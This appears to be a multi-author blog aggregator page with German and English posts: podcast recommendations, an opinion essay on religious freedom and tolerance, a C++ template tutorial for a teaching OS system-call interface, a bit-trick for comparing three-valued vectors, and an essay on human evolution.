  • Radio War Nerd ist sicherlich eine seltsame Nische, zumal es den Podcast ohne zu bezahlen nicht als rss-Feed gibt, sondern ihr ihn von Hand von Patreon pulen müsst. Als Inhalt gibt es Gespräche über aktuelle und vergangene Kriege, mit Fokus auf Strategie und Motivation. Wer verstehen will, was der eigentlich Sinn des Syrien Kriegs ist, dem sei dieser Podcast sehr empfohlen.
  • Arms Control Wonk handelt schon wieder von Waffen. Aber mehr von ihrer Entwicklung und Verbreitung als von ihrem Einsatz. Es geht um Waffenkontrollen und international kontrollierte und beschränkte Waffen, wie Atombomben, ballistische Raketen und Marschflugkörper und das komplexe System aus Kontrollen dahinter.
  • Very Bad Wizards ist ein Philosophie und Soziologie Podcast aus den USA, der sich sehr unakademisch gibt, in dem geflucht wird und die beiden Gastgeber auch nicht vor schwierigen Themen von Sodomie bis zu dem Political Correctness Wahn an amerikanischen Universitäten. Daneben geht es gerne auch um die Moralaspekte von Filmen oder Serien, wie der großartigen Serie Mr. Robot.
  • Common Sense with Dan Carlin ist ein streitbarer Kommentar zur aktuellen Politik in den USA. Wenn ihr Donald Trump gut findet, einfach dafür, dass er das System vorführt und kein Fan plumper politischer Kategorien seid, hört rein. Wem seine typisch linken Ansichten heilig sind, wird vermutlich zu oft herausgefordert.
  • Bowery Boys erzählt anekdotenreich wechselnde Kapitel aus der der Geschichte New Yorks. Mal geht es um Stadtviertel, mal um einzelne Ereignisse oder Personen, aber immer ist es lebendige Geschichte. Tipp: Während des hörens lassen sich viele Orte in GTA 4 besuchen.
  • Omega Tau ist einer dieser Maratonpodcasts, die guten Episonen brechen gerne mal die 3 Stunden Marke. Themen sind wild gestreut, aber die besonders guten sind meiner Meinung nach die Luft und Raumfahrt Episoden. Die Sprache der einzelnen Episoden wechselt semi-regelmäßig zwischen Deutsch und Englisch.

Maximilian HenryPodcast Empfehlungen 2016

In diesem Blog gab es vor langer Zeit schon Podcast Empfehlungen und ich möchte diese Tradition nun hier wieder aufleben lassen. Dieses mal ist die Empfehlungsliste sehr englisch-lastig.

  • Radio War Nerd ist sicherlich eine seltsame Nische, zumal es den Podcast ohne zu bezahlen nicht als rss-Feed gibt, sondern ihr ihn von Hand von Patreon pulen müsst. Als Inhalt gibt es Gespräche über aktuelle und vergangene Kriege, mit Fokus auf Strategie und Motivation. Wer verstehen will, was der eigentlich Sinn des Syrien Kriegs ist, dem sei dieser Podcast sehr empfohlen.
  • Arms Control Wonk handelt schon wieder von Waffen. Aber mehr von ihrer Entwicklung und Verbreitung als von ihrem Einsatz. Es geht um Waffenkontrollen und international kontrollierte und beschränkte Waffen, wie Atombomben, ballistische Raketen und Marschflugkörper und das komplexe System aus Kontrollen dahinter.
  • Very Bad Wizards ist ein Philosophie und Soziologie Podcast aus den USA, der sich sehr unakademisch gibt, in dem geflucht wird und die beiden Gastgeber auch nicht vor schwierigen Themen von Sodomie bis zu dem Political Correctness Wahn an amerikanischen Universitäten. Daneben geht es gerne auch um die Moralaspekte von Filmen oder Serien, wie der großartigen Serie Mr. Robot.
  • Common Sense with Dan Carlin ist ein streitbarer Kommentar zur aktuellen Politik in den USA. Wenn ihr Donald Trump gut findet, einfach dafür, dass er das System vorführt und kein Fan plumper politischer Kategorien seid, hört rein. Wem seine typisch linken Ansichten heilig sind, wird vermutlich zu oft herausgefordert.
  • Bowery Boys erzählt anekdotenreich wechselnde Kapitel aus der der Geschichte New Yorks. Mal geht es um Stadtviertel, mal um einzelne Ereignisse oder Personen, aber immer ist es lebendige Geschichte. Tipp: Während des hörens lassen sich viele Orte in GTA 4 besuchen.
  • Omega Tau ist einer dieser Maratonpodcasts, die guten Episonen brechen gerne mal die 3 Stunden Marke. Themen sind wild gestreut, aber die besonders guten sind meiner Meinung nach die Luft und Raumfahrt Episoden. Die Sprache der einzelnen Episoden wechselt semi-regelmäßig zwischen Deutsch und Englisch.

Maximilian HenryPodcast Empfehlungen 2016

In diesem Blog gab es vor langer Zeit schon Podcast Empfehlungen und ich möchte diese Tradition nun hier wieder aufleben lassen. Dieses mal ist die Empfehlungsliste sehr englisch-lastig.

  • Radio War Nerd ist sicherlich eine seltsame Nische, zumal es den Podcast ohne zu bezahlen nicht als rss-Feed gibt, sondern ihr ihn von Hand von Patreon pulen müsst. Als Inhalt gibt es Gespräche über aktuelle und vergangene Kriege, mit Fokus auf Strategie und Motivation. Wer verstehen will, was der eigentlich Sinn des Syrien Kriegs ist, dem sei dieser Podcast sehr empfohlen.
  • Arms Control Wonk handelt schon wieder von Waffen. Aber mehr von ihrer Entwicklung und Verbreitung als von ihrem Einsatz. Es geht um Waffenkontrollen und international kontrollierte und beschränkte Waffen, wie Atombomben, ballistische Raketen und Marschflugkörper und das komplexe System aus Kontrollen dahinter.
  • Very Bad Wizards ist ein Philosophie und Soziologie Podcast aus den USA, der sich sehr unakademisch gibt, in dem geflucht wird und die beiden Gastgeber auch nicht vor schwierigen Themen von Sodomie bis zu dem Political Correctness Wahn an amerikanischen Universitäten. Daneben geht es gerne auch um die Moralaspekte von Filmen oder Serien, wie der großartigen Serie Mr. Robot.
  • Common Sense with Dan Carlin ist ein streitbarer Kommentar zur aktuellen Politik in den USA. Wenn ihr Donald Trump gut findet, einfach dafür, dass er das System vorführt und kein Fan plumper politischer Kategorien seid, hört rein. Wem seine typisch linken Ansichten heilig sind, wird vermutlich zu oft herausgefordert.
  • Bowery Boys erzählt anekdotenreich wechselnde Kapitel aus der der Geschichte New Yorks. Mal geht es um Stadtviertel, mal um einzelne Ereignisse oder Personen, aber immer ist es lebendige Geschichte. Tipp: Während des hörens lassen sich viele Orte in GTA 4 besuchen.
  • Omega Tau ist einer dieser Maratonpodcasts, die guten Episonen brechen gerne mal die 3 Stunden Marke. Themen sind wild gestreut, aber die besonders guten sind meiner Meinung nach die Luft und Raumfahrt Episoden. Die Sprache der einzelnen Episoden wechselt semi-regelmäßig zwischen Deutsch und Englisch.

January 15, 2016

Maximilian HenryThe Future of Tolerance

Ich höre in letzter Zeit viele Podcasts von Sam Harris, schon allein, weil er ein verflucht guter Redner ist und ich stimme ihm in vielen Dingen zu. So stimme ich auch der Einschätzung zu, dass es unehrlich ist, Islamischen Terrorismus von der Religion losgelöst zu betrachten. Über ISIS zu sprechen und zu behaupten, eine Gruppe, welche alles aus heiligen Schriften ableitet, von dieser Religon zu trennen ist absurd. Aber warum sind wir überhaupt an diesem Punkt? Warum akzeptieren wir diesen Schritt?
Ich glaube, dass dies in weiten Teilen eine Folge des westlichen Verständnisses von Religionsfreiheit ist und es höchste Zeit wird, dies zu überwinden. Denn dieses Verständnis, Islamischer Terrorismus hätte nichts mit dem Islam zu tun, genau so, wie all die verbrechen, welche im Namen des Christentums nichts mit der Religion zu tun hätten, rühren von unserer religiösen Toleranz her.

Damit habe ich zwei Probleme:

  1. Religionsfreiheit und die Toleranz gegenüber Religionen mag in der Zeit der Aufklärung ein großer Schritt gewesen sein, aber langfristig ist diese Idee Gift. Alle Religionen sind Quatsch und Menschen können wunderbar auch ohne Religion leben, dass religion ein besonderer Schutz angedeihen soll, mag in Zeiten einer allgegenwärtigen Religion und religiöser Führer in Europa ein Fortschritt gewesen sein. Diesen Standpunkt als weitgehend säkulare Gesellschaft weiter aufrecht zuhalten, ist nicht nur an sich unlogisch, es führt zu vielen widersprüchlichen Positionen. So gibt es in unserer pluralistischen Gesellschaft viele sich widersprechende Religionen und doch scheint es Konsensfähig zu sein, dass es innerhalb dieser Religonen eine richtige und eine falsche Auslegung gibt. So ist die Auslegung des Christentums richtig, wenn sie von Papst, evangelischer Landessynode oder ähnlichen Einrichtungen geteilt wird und offensichtlich falsch, wenn damit Gewalt in der Ehe, gegenüber den eigenen Kindern, Homosexuellen oder Andersgläubigen begründet wird. Wohlgemerkt lässt sich alles, genau wie vermutlich jede politische Postion, mit Bibelzitaten belegen, je nach aktuellem Bedarf mal wörtlich und mal im übertragenen Sinne. Das kann doch nicht sein! Entweder wir sehen Religion als gerechtfertigt an, dann müssen wir aber auch jeden Käse, den irgendjemand sich aus seinen Heiligen Schriften pflückt akzeptieren oder aber, wir überkommen den Stand des 17. Jahrhunderts und einigen uns endlich mal darauf, dass Menschen glauben können, was sie wollen, es aber keinerlei Anspruch darauf gibt, dass wir als Gesellschaft dies ernst nehmen oder besonders beachten.

  2. Es bedarf außerdem einer Diskussion, ob Toleranz überhaupt ein hilfreiches Konzept ist. Ich zitiere aus Wikipedia:
    "Toleranz, auch Duldsamkeit, ist allgemein ein Geltenlassen und Gewährenlassen fremder Überzeugungen, Handlungsweisen und Sitten. Umgangssprachlich ist damit heute häufig auch die Anerkennung einer Gleichberechtigung gemeint, die jedoch über den eigentlichen Begriff („Duldung“) hinausgeht." Demnach hat sich die Bedeutung dieses Begriffs zwar schon weg von Duldung bewegt, aber dennoch glaube ich, dass es Hilfreich wäre, sich darüber klar zu werden, was das eigentliche Ziel ist, denn im Bereich von Religion mag Duldung genau das sein, was mir in den Sinn kommt, dulden im Sinne von ertragen, obwohl man die feste Überzeugung hat, dass es falsch ist. Aber ich möchte nicht, dass die Zukunft unseres zusammen Lebens in einer zwangsläufig immer heterogener werdenden Gesellschaft aus einem ertragen besteht.

Daneben ist mein eigentliches Problem mit Sam Harris, dass ich wirklich nicht glaube, dass für uns in der westlichen Welt der islamische Terrorismus gerade unser größtes und dringendstes Problem ist.

Maximilian HenryThe Future of Tolerance

Ich höre in letzter Zeit viele Podcasts von Sam Harris, schon allein, weil er ein verflucht guter Redner ist und ich stimme ihm in vielen Dingen zu. So stimme ich auch der Einschätzung zu, dass es unehrlich ist, Islamischen Terrorismus von der Religion losgelöst zu betrachten. Über ISIS zu sprechen und zu behaupten, eine Gruppe, welche alles aus heiligen Schriften ableitet, von dieser Religon zu trennen ist absurd. Aber warum sind wir überhaupt an diesem Punkt? Warum akzeptieren wir diesen Schritt?
Ich glaube, dass dies in weiten Teilen eine Folge des westlichen Verständnisses von Religionsfreiheit ist und es höchste Zeit wird, dies zu überwinden. Denn dieses Verständnis, Islamischer Terrorismus hätte nichts mit dem Islam zu tun, genau so, wie all die verbrechen, welche im Namen des Christentums nichts mit der Religion zu tun hätten, rühren von unserer religiösen Toleranz her.

Damit habe ich zwei Probleme:

  1. Religionsfreiheit und die Toleranz gegenüber Religionen mag in der Zeit der Aufklärung ein großer Schritt gewesen sein, aber langfristig ist diese Idee Gift. Alle Religionen sind Quatsch und Menschen können wunderbar auch ohne Religion leben, dass religion ein besonderer Schutz angedeihen soll, mag in Zeiten einer allgegenwärtigen Religion und religiöser Führer in Europa ein Fortschritt gewesen sein. Diesen Standpunkt als weitgehend säkulare Gesellschaft weiter aufrecht zuhalten, ist nicht nur an sich unlogisch, es führt zu vielen widersprüchlichen Positionen. So gibt es in unserer pluralistischen Gesellschaft viele sich widersprechende Religionen und doch scheint es Konsensfähig zu sein, dass es innerhalb dieser Religonen eine richtige und eine falsche Auslegung gibt. So ist die Auslegung des Christentums richtig, wenn sie von Papst, evangelischer Landessynode oder ähnlichen Einrichtungen geteilt wird und offensichtlich falsch, wenn damit Gewalt in der Ehe, gegenüber den eigenen Kindern, Homosexuellen oder Andersgläubigen begründet wird. Wohlgemerkt lässt sich alles, genau wie vermutlich jede politische Postion, mit Bibelzitaten belegen, je nach aktuellem Bedarf mal wörtlich und mal im übertragenen Sinne. Das kann doch nicht sein! Entweder wir sehen Religion als gerechtfertigt an, dann müssen wir aber auch jeden Käse, den irgendjemand sich aus seinen Heiligen Schriften pflückt akzeptieren oder aber, wir überkommen den Stand des 17. Jahrhunderts und einigen uns endlich mal darauf, dass Menschen glauben können, was sie wollen, es aber keinerlei Anspruch darauf gibt, dass wir als Gesellschaft dies ernst nehmen oder besonders beachten.

  2. Es bedarf außerdem einer Diskussion, ob Toleranz überhaupt ein hilfreiches Konzept ist. Ich zitiere aus Wikipedia:
    "Toleranz, auch Duldsamkeit, ist allgemein ein Geltenlassen und Gewährenlassen fremder Überzeugungen, Handlungsweisen und Sitten. Umgangssprachlich ist damit heute häufig auch die Anerkennung einer Gleichberechtigung gemeint, die jedoch über den eigentlichen Begriff („Duldung“) hinausgeht." Demnach hat sich die Bedeutung dieses Begriffs zwar schon weg von Duldung bewegt, aber dennoch glaube ich, dass es Hilfreich wäre, sich darüber klar zu werden, was das eigentliche Ziel ist, denn im Bereich von Religion mag Duldung genau das sein, was mir in den Sinn kommt, dulden im Sinne von ertragen, obwohl man die feste Überzeugung hat, dass es falsch ist. Aber ich möchte nicht, dass die Zukunft unseres zusammen Lebens in einer zwangsläufig immer heterogener werdenden Gesellschaft aus einem ertragen besteht.

Daneben ist mein eigentliches Problem mit Sam Harris, dass ich wirklich nicht glaube, dass für uns in der westlichen Welt der islamische Terrorismus gerade unser größtes und dringendstes Problem ist.

Maximilian HenryThe Future of Tolerance

Ich höre in letzter Zeit viele Podcasts von Sam Harris, schon allein, weil er ein verflucht guter Redner ist und ich stimme ihm in vielen Dingen zu. So stimme ich auch der Einschätzung zu, dass es unehrlich ist, Islamischen Terrorismus von der Religion losgelöst zu betrachten. Über ISIS zu sprechen und zu behaupten, eine Gruppe, welche alles aus heiligen Schriften ableitet, von dieser Religon zu trennen ist absurd. Aber warum sind wir überhaupt an diesem Punkt? Warum akzeptieren wir diesen Schritt?
Ich glaube, dass dies in weiten Teilen eine Folge des westlichen Verständnisses von Religionsfreiheit ist und es höchste Zeit wird, dies zu überwinden. Denn dieses Verständnis, Islamischer Terrorismus hätte nichts mit dem Islam zu tun, genau so, wie all die verbrechen, welche im Namen des Christentums nichts mit der Religion zu tun hätten, rühren von unserer religiösen Toleranz her.

Damit habe ich zwei Probleme:

  1. Religionsfreiheit und die Toleranz gegenüber Religionen mag in der Zeit der Aufklärung ein großer Schritt gewesen sein, aber langfristig ist diese Idee Gift. Alle Religionen sind Quatsch und Menschen können wunderbar auch ohne Religion leben, dass religion ein besonderer Schutz angedeihen soll, mag in Zeiten einer allgegenwärtigen Religion und religiöser Führer in Europa ein Fortschritt gewesen sein. Diesen Standpunkt als weitgehend säkulare Gesellschaft weiter aufrecht zuhalten, ist nicht nur an sich unlogisch, es führt zu vielen widersprüchlichen Positionen. So gibt es in unserer pluralistischen Gesellschaft viele sich widersprechende Religionen und doch scheint es Konsensfähig zu sein, dass es innerhalb dieser Religonen eine richtige und eine falsche Auslegung gibt. So ist die Auslegung des Christentums richtig, wenn sie von Papst, evangelischer Landessynode oder ähnlichen Einrichtungen geteilt wird und offensichtlich falsch, wenn damit Gewalt in der Ehe, gegenüber den eigenen Kindern, Homosexuellen oder Andersgläubigen begründet wird. Wohlgemerkt lässt sich alles, genau wie vermutlich jede politische Postion, mit Bibelzitaten belegen, je nach aktuellem Bedarf mal wörtlich und mal im übertragenen Sinne. Das kann doch nicht sein! Entweder wir sehen Religion als gerechtfertigt an, dann müssen wir aber auch jeden Käse, den irgendjemand sich aus seinen Heiligen Schriften pflückt akzeptieren oder aber, wir überkommen den Stand des 17. Jahrhunderts und einigen uns endlich mal darauf, dass Menschen glauben können, was sie wollen, es aber keinerlei Anspruch darauf gibt, dass wir als Gesellschaft dies ernst nehmen oder besonders beachten.

  2. Es bedarf außerdem einer Diskussion, ob Toleranz überhaupt ein hilfreiches Konzept ist. Ich zitiere aus Wikipedia:
    "Toleranz, auch Duldsamkeit, ist allgemein ein Geltenlassen und Gewährenlassen fremder Überzeugungen, Handlungsweisen und Sitten. Umgangssprachlich ist damit heute häufig auch die Anerkennung einer Gleichberechtigung gemeint, die jedoch über den eigentlichen Begriff („Duldung“) hinausgeht."
    Demnach hat sich die Bedeutung dieses Begriffs zwar schon weg von Duldung bewegt, aber dennoch glaube ich, dass es Hilfreich wäre, sich darüber klar zu werden, was das eigentliche Ziel ist, denn im Bereich von Religion mag Duldung genau das sein, was mir in den Sinn kommt, dulden im Sinne von ertragen, obwohl man die feste Überzeugung hat, dass es falsch ist. Aber ich möchte nicht, dass die Zukunft unseres zusammen Lebens in einer zwangsläufig immer heterogener werdenden Gesellschaft aus einem ertragen besteht.

Daneben ist mein eigentliches Problem mit Sam Harris, dass ich wirklich nicht glaube, dass für uns in der westlichen Welt der islamische Terrorismus gerade unser größtes und dringendstes Problem ist.

December 30, 2015

Christoph EggerFinally moving the Weblog

As of a few minutes ago, the old weblog on christoph-egger.org is past. I've added redirects for all the entries to the new one at weblog.siccegge.de.if you find any dead links please contact me so I can fix it up.

Note that comments are gone. I'll try to include the already present comments on the new blog some time in the future. Not sure if I will ever add a comment function again (though chronicle seems to have some support for that)

December 22, 2015

Christian DietrichA templated System-Call Interface for OO/MPStuBS

We use OOStuBS/MPStuBS in our operating system course. In the first part of our two part lecture, the students implement basic IRQ handling, coroutine switching, and synchronisation primitives. We have no spatial or privilege isolation in place, since this is topic of the second lecture part.

Still, we want to differentiate between a user space and the kernel space. On a technical level, the kernel space or system level is defined by a big kernel lock; the so called guard. If a control flow enters the guard, it transitions to the kernel and leaves the kernel, when the guard is left. The guard concept is heavily coupled with our idea of IRQ handling in epilogues (similar to bottom-halves or deferred interrupt handlers).

Our proposed implementation of the system call interface uses facade pattern to expose some of the system functionality as "Guarded Services".

class Guarded_Scheduler {
     static void resume() {
          Secure section; // does guard.enter() in constructor
          scheduler.resume();
          // guard.leave() is called on Secure destructor
     }
}

The used Secure class uses a Resource Acquisition Is Initialisation pattern to enter the guard on construction, and to leave it upon destruction of the secure object. But, as you see, coding down this pattern is cumbersome and involves a lot of boilerplate. Nobody, especially interested students, want to write boilerplate. But, our OS is implemented in C++, so we have powerful abstractions to implement a usable abstraction. In the following, I will explain, how we can implement an easily extensible system-call interface for a library operating system (everything is linked together, and we have no spatial isolation).

A First Attempt

First, we start with a "simple" templated function that can wrap every member function of an object and call with the guard taken. The actual API usage looks like this:

 syscall(&Scheduler::resume, scheduler);
 syscall(&Scheduler::kill,   scheduler, &other_thread);

The first argument to syscall() might surprise some readers, since it is a seldom used C++ feature. It is a "Pointer to Member" that captures how we can access or call a member when having the corresponding object at hand. The datatype of &Scheduler::resume is void (Scheduler::*)(), which is similar to a function pointer returning nothing and taking no arguments. &Scheduler::kill has the datatype void (Scheduler::*)(Thread *); it is a pointer to a member function, which returns nothing but takes an Thread pointer as argument. Both pointers only make sense with a Scheduler object at hand. When we have a scheduler object at hand, we can use the rarely used .* operator:

 ((scheduler).*(&Scheduler.kill))(thread)

We now can combine this concept with C++11 templates to get the described syscall function:

template<typename Func, typename Class, typename ...Args>
inline auto syscall(Func func,  Class &obj, Args&&... args) -> decltype((obj.*func)(args...)){
    Secure secure;
    return (obj.*func)(args...);
};

Huh, what happens here? Let's take this monster apart to understand its working. So, it is a function template, it generates functions depending on the types it is specialized for. You can think of this specialization process like this: the compiler has a Schablone (german word for template, but with the notion of scissors and paper) at hand. When it sees a function call to syscall() it fills the missing parts in the Schablone with the argument types and compiles the result a new function.

syscall(Func arg0, Class arg1, Args... args2_till_9001)

So, our syscall function takes at least two arguments, but can consume arbitrarily many arguments in its variadic part at the end (the Args...). The type of the first argument is bound to the type "Func", the second argument type is bound to the type "Class", all others are collected in the variadic type "Args". The func argument, which type Func, is pointer-to-member object, the obj argument the actual system object. So, now we can call the function with the other arguments.

 (obj.*func)(args...)

But, our function, still has no return type. What to do? Here comes C++ auto and decltype to the rescue. When using auto as a return type, the compiler excepts -> Type after the closing parenthesis of the function. The decltype() built-in gives the type of the enclosed expresion. So decltype((obj.*func)(args...)) is exactly the return type of the given pointer-to-member-function argument.

Furthermore, we just have to allocate a Secure object to make the guard.enter() and guard.leave() calls. Voila, a system call interface. But it still has some problems. We can call every method on every object in the whole system. We have no notion of "allowed" system calls and forbidden ones. Of course, in a library operating system with no protection this is ok. Furthermore, we always have to give the system object (e.g., scheduler) on each system call. I think, we can do better here. So let's revisit our implementation.

A second Attempt

In our second attempt, we want to restrict the system-call interface to certain classes. This gives coarse-grained control about the methods that can be called via the syscall interface. As a side-effect, we can omit the actual system-object argument such that we can write:

syscall(&Scheduler::resume)
syscall(&Scheduler::kill, that)

We implement a system_object function that returns the system-object singleton instance when called for a given type. We implement this function only for those classes, we want to allow access via syscall. This gives us some control about the possible syscall targets.

template<typename Class>
Class& system_object();

// Get the scheduler singleton
Scheduler &scheduler = system_object<Scheduler>();

The template specialization can be done in the source file and does not have to be put into the header. This allows us to hide the actual system-object symbol from the rest of the system. For example, this could be located in the thread/scheduler.cc file:

static Scheduler instance;

template<>
Scheduler &system_object() {
    return instance;
}

We still have to call this function from our system call implementation. For this, we need to have the class type of the underlying system object at hand. The only thing we have is the pointer-to-member object that identifies the desired system-call (&Scheduler::resume). But, as you remember, the class type is part of the type of such pointer-to-member types (Func). We only have to extract that information from the given type.

The concept of accessing information about types is called type traits. This is grandiloquent word for "a template that takes a type and provides several types and constants". So let's look at our type trait:

// Fail for all cases...
template<typename> struct syscall_traits;

// ..., except for deconstructing a pointer to member type
template<typename ReturnType, typename ClassType, typename ...Args>
struct syscall_traits<ReturnType(ClassType::*)(Args...)> {
    typedef ReturnType result_type;
    typedef ClassType class_type;
};

This syscall_traits is only specialized for pointer-to-member types and destructs the type of our &Scheduler::resume argument (void (Scheduler::*)()) with the pattern ReturnType (ClassType::*)(Args...). As you see, the templates does only pattern matching on types and binds types to template parameters. This can generally said for templates: The <>-line after the template keyword defines type variables, which can be bound later on or have to be supplied by the user. With our type trait we can simply access the instance class of our pointer-to-member argument and can call system_object():

template<typename Func, typename ...Args>
inline auto syscall(Func func, Args&&... args) -> typename syscall_traits<Func>::result_type {
      // We do everything with a taken guard
      Secure secure;

      // Get traits of systemcall
      typedef typename syscall_traits<Func>::class_type system_object_type;

     // Get a singleton instance for the given base type.
     system_object_type &obj = system_object<system_object_type>();

     return (obj.*func)(args...);
};

The first thing we see is that the deduced return type has changed. It no has to use our type trait, since we have no system object at hand we can use with decltype (-> decltype((obj.*func)(args...)). Within the body of the syscall function, we use the trait to extract the system-object's class type from the Func type and call system_object to gain access to the singleton instance.

If we use syscall on a class that is not exposed via specializing system_object<>, we get an linker error and the developer is informed that he wants to do bullshit.

So, what have we achieved in the second attempt? We have a cleaner system-call interface and do not have to supply the system object directly, but it is deduced from the supplied arguments. Furthermore, only annotated classes are suitable for being called via this interface. Nevertheless, we can still call all functions on these classes. In the third attempt we want to solve this as well.

The third and final Attempt

How can we annotate functions as being system calls? The only real thing we have at hand in static C++ land are types. So we have to annotate the function type of our system call somehow. The type of a method is defined by only a few pieces of information: The argument types, the class type, and the return type. The one thing that is always there, and that is not shared among several functions is the return type. We use the return type for our annotation by wrapping it into an marker struct:

template <typename T=void> struct syscall_return;
template<> struct syscall_return<void> { void get() {}; };

template <typename T>
class syscall_return {
    T value;
public:
    syscall_return(T&& x) : value(x) {}
    operator T() { return value; }
    T get() { return value; }
};

The syscall_return wraps a type and contains a copy of it. Furthermore, it implements a get() method to access this inner object and has the cast operator for T overloaded for easier handling. The void type is special here, and has to be handled special, since it is a no-object type and cannot be instantiated.

We can no annotate functions in our Scheduler class:

struct Scheduler {
    syscall_return<void> resume() {
        printf("resume %d\n", (int)barfoo(23));
        return syscall_return<>();
    }

    virtual syscall_return<int> increment(int i) {
        return i+1;
    }
}

As you see, we have to special case for void again ("Damn you void, you and your voidness!"). But, the implicit cast via the constructor makes it easy to return all other types. But we also have to adapt the rest of our implementation. In the syscall_traits template, the matched pattern strips the syscall_return wrapper from the type. This will also cause all unwrapped return types to fail.

// ..., except for deconstructing a pointer to member type
template<typename ReturnType, typename ClassType, typename ...Args>
struct syscall_traits<syscall_return<ReturnType>(ClassType::*)(Args...)> {
    typedef ReturnType result_type;
    typedef ClassType class_type;
};

In the syscall template, we only have to additionally call .get() on the result:

template<typename Func, typename ...Args>
inline auto syscall(Func func, Args&&... args) -> typename syscall_traits<Func>::result_type {
      // We do everything with a taken guard
      Secure secure;

      // Get traits of systemcall
      typedef typename syscall_traits<Func>::class_type system_object_type;

      // Get a singleton instance for the given base type.
      system_object_type &obj = system_object<system_object_type>();

      return (obj.*func)(args...).get();
};

And voila, we have a system call interface with annotations that prevents the user to call unmarked functions via syscall. All abstractions from above come at zero run-time cost.

The only downside is that the user is still able to call the functions directly. But, this can never be solved in a library operating system.

I hope I could give you an impression what is possible with C++ templates in the context of a bare-metal operating system.

December 15, 2015

Christian DietrichTesting Three-Valued Vectors for Compatibility

For a colleagues project, we encountered the problem to check vectors of values for compatibility. The values are either set or undefined. An undefined value is compatible to everything; a set value is compatible to the same value. An example instance of this problem might look like this, when the possible values are 'a', 'b', and 'c'; undefined is indicated by 'U':

Vector 1 Vector 2
a a |
b U |
U U |
a c |

These two vectors are compatible in their first three lines, since undefined is compatible to everything. How can be test these vectors for compatibility in a fast fashion? The first simple idea is to use an char array and compare it character by character and to encode undefined as 0:

char A[] = {'a', 'b', 0, 'a'};
char B[] = {'a',  0,  0, 'c'};

bool compatible = true;
for (unsigned i = 0; i < 4; i++) {
    if (A[i] != 0 && B[i] != 0 && A[i] != B[i]) {
        compatible = false; break;
    }
}

This would do the job and is already quite fast. Nevertheless, we can do it faster. We can avoid checking three different conditions (&&) by using multiplication and the zero element property of the number zero:

if (A[i] * B[i] * (A[i] - B[i]) != 0) {
    compatible = false; break;
}

This expression is exactly then non-zero, if both elements are non-zero and their difference is non-zero, a trait that is also known as inequality. But, as we learned from our processor design lecture, multiplications are expensive. So let's search for a way to do the same without multiplication. Our advantage is, that we are not interested in the result of the multiplication, but only in its property of not-being-zero. Perhaps we can do something with bit shifts. First, we encode our three elements in a more dense way, using two bits at most:

char A[] = {1, 2, 0, 1};
char B[] = {1, 0, 0, 3};

After fiddling around at the whiteboard I can up with the following solution for 3 possible values plus the undefined vector, which works quite well for our use case:

if (((A[i] << 1) & B[i]) ^ ((B[i] << 1) & A[i]) != 0) {
    compatible = false; break;
}

This expression implements, although it is not easily visible, the required behavior. We can see this easily by looking at the truth table of the function f(a, b)=(((a << 1) & b) ^ ((b << 1) & a)) == 0

 | a | b | f(a, b)|         | a | b | f(a, b)|
 |:-:|:-:|:------:|         |:-:|:-:|:------:|
 | 0 | 0 | 1      |         | 2 | 0 | 1      |
 | 0 | 1 | 1      |         | 2 | 1 | 0      |
 | 0 | 2 | 1      |         | 2 | 2 | 1      |
 | 0 | 3 | 1      |         | 2 | 3 | 0      |
 | 1 | 0 | 1      |         | 3 | 0 | 1      |
 | 1 | 1 | 1      |         | 3 | 1 | 0      |
 | 1 | 2 | 0      |         | 3 | 2 | 0      |
 | 1 | 3 | 0      |         | 3 | 3 | 1      |

So, this is a very limited Boolean function, since it works only for 2 bit wide A/B's. But, it is fast. And the best part is that it consists only of bit operations. This means, we can put many vector values into a single machine word and compare many of them in one step. Unfortunately we have to insert padding bits between the value bits to have zeroes that can be shifted in and out. So when we encode our example from above, we get the following bit vectors:

         [0]  [1]  [2]  [3]  | int
      A  001  010  000  001  | 641
      B  001  000  000  011  | 515
 ---------------------------------
 f(A, B) 000  000  000  010  |   2

As you see, the difference occurs in the [3] columns, where our values are both set, but different. With this neat trick, we can put 21(!) values in a single 64 bit word and compare them all at once. With this optimization, I could improve the runtime of our problem from 5 minutes to 1 minute; just to give you a qualitative idea of the improvement for our (unspecified) problem. This stems as well from the more densed coding (transferring less memory) and the faster operations (bit operations are cheap).

October 24, 2015

Christian DietrichEntwicklungsziele der Menschheit

Ich trage diesen Artikel schon mehrere Monate in meinem Kopf herum; wälze einzelne Punkte hin und her und überlege was ich eigentlich schreiben möchte. Es geht mir darum zu beleuchten, wie es mit der Evolution des Menschen eigentlich weiter gehen könnte. Wo sind Punkte an denen Gehirn und Körper des Menschen an eine Welt angepasst sind, die es nicht mehr gibt?

Evolution ist ein Prozess, der nicht stillsteht. Es ist der Prozess mit dem sich das Leben durch Zufallsexperimente an neue Gegebenheiten anpasst. Millionen von zufälligen Mutationen; viele davon Schlecht und manche davon mit evolutionärem Vorteil behaftet. Mit Glück propagieren sich die hilfreichen fort.

Nun ist der Mensch in den meisten Dingen kein Spezialist, sondern ein Generalist. Oder anders gesagt: wir sind nicht besonders gut, aber von allem ein bischen. Die einzige Sache in der wir wirklich brillieren ist das Denken. Es stellt sich da die Frage, ob das überhaupt eine Spezialisierung ist oder eher eine spezialisierte Plattform für eine generalisierte Methode Probleme durch denken zu lösen.

Der Mensch hat sich an seine Umgebung über viele hunderttausend Jahre angepasst. Handlungsweisen und Instinkte haben sich entwickelt, die ein Leben in kleinen Gruppen in der "Wildnis" bei ständiger Nahrungsmittelknappheit erleichtern.

Nun hat sich aber die menschliche Gesellschaft schnell entwickelt und hat in wenigen hundert Jahren massiv an Komplexität gewonnen. Es stellt sich die Frage, was Mechanismen sind, die in der vorherigen Gesellschaft sinnvoll waren und funktioniert haben, aber uns jetzt behindern.

Ich will drei Punkte aufzählen, von denen ich mir vorstellen kann, dass der Mensch sich evolutionär anpasst. Diese Veränderungen könnten stattfinden, wenn weiterhin komplexe Gesellschaftsformationen bestehen und viele Milliarden Menschen den Planeten bevölkern. Die Zeiträume werden allerdings sehr groß sein. Aber eins ist sicher: Wieso sollte uns das unbeeinflusst lassen?

Gier

In der feindlichen Natur macht es Sinn Nahrung dann aufzunehmen, wenn sie vorhanden ist. Wenn wir irgendwo Beeren gefunden haben, und sie gerade reif sind, sollten wir am besten alle zu uns nehmen. Wer mehr Nahrung zu sich nimmt und dabei fett wird, hat eine bessere Chance den nächsten Winter zu überleben. Gier nach Nahrung macht Sinn. Umso mehr ich habe, umso besser sind meine Chancen zu überleben und ich kann meine Gene weiter geben.

